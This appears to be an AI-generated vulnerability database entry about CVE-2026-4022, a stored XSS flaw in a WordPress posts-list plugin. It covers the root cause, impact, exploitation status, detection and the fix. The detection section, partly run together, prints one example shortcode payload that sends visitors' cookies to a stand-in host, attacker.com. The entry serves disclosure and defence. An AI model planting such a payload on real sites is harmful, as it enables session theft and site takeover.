
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-4022 is a Stored Cross-Site Scripting (XSS) vulnerability in the "Show Posts list – Easy designs, filters and more" plugin for WordPress. It affects all versions up to and including 1.1.0, stemming from insufficient input sanitization and output escaping on the post_type shortcode attribute within the swiftpost-list shortcode. Authenticated attackers with contributor-level access or above can inject arbitrary web scripts into pages that execute for any user visiting the affected page. It carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).
The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation – Cross-site Scripting), specifically due to the plugin's failure to sanitize user-supplied input and escape output in the post_type attribute of the swiftpost-list shortcode. The vulnerable code is located in post-shortcode.php at multiple lines (L21, L43, L103, L119), where the attribute value is passed through without adequate filtering before being rendered in the page HTML. Exploitation requires only contributor-level WordPress authentication, making the attack surface relatively broad on sites with open contributor registration (Wordfence, WordPress Trac).
Successful exploitation allows an attacker to persistently inject malicious JavaScript into WordPress pages, which executes in the browsers of all subsequent visitors — including administrators. This can lead to session cookie theft, credential harvesting, defacement, redirection to malicious sites, or further compromise of site administrator accounts, potentially escalating to full site takeover. Confidentiality and integrity are both impacted (low to moderate), while availability is not directly affected (Wordfence).
No public exploit code or active in-the-wild exploitation has been reported for CVE-2026-4022 as of the available data. The EPSS score is approximately 0.07%, indicating a low probability of near-term exploitation. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires authenticated access at the contributor level, which limits opportunistic mass exploitation but remains a realistic threat on sites with open registration (Wordfence, Red Hat CVE).
show-posts-shortcodes) at version 1.1.0 or earlier, using tools like WPScan or by checking the plugin's readme.txt file at wp-content/plugins/show-posts-shortcodes/readme.txt.swiftpost-list shortcode with a malicious post_type attribute, e.g.:[swiftpost-list post_type="post"><script>document.location='https://attacker.com/steal?c='+document.cookie</script>"]wp-admin/post.php or REST API endpoints containing swiftpost-list shortcode with unusual or encoded post_type values; look for <script>, javascript:, or URL-encoded equivalents in request bodies.wp_posts table) containing swiftpost-list shortcode with script tags or obfuscated payloads.swiftpost-list shortcode, potentially carrying cookie or session data in query parameters.WordPress site administrators should update the "Show Posts list – Easy designs, filters and more" plugin to version 1.1.1 or later, which addresses the insufficient sanitization and escaping issues. If an immediate update is not possible, restrict contributor-level registration or disable the plugin until patching is feasible. Additionally, a Web Application Firewall (WAF) rule targeting XSS payloads in shortcode attributes can provide interim protection (Wordfence).
The vulnerability was discovered and disclosed by Wordfence, which assigned the CVE and published the advisory. No notable independent researcher commentary, media coverage, or significant social media discussion has been identified beyond standard vulnerability aggregator coverage (Wordfence).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."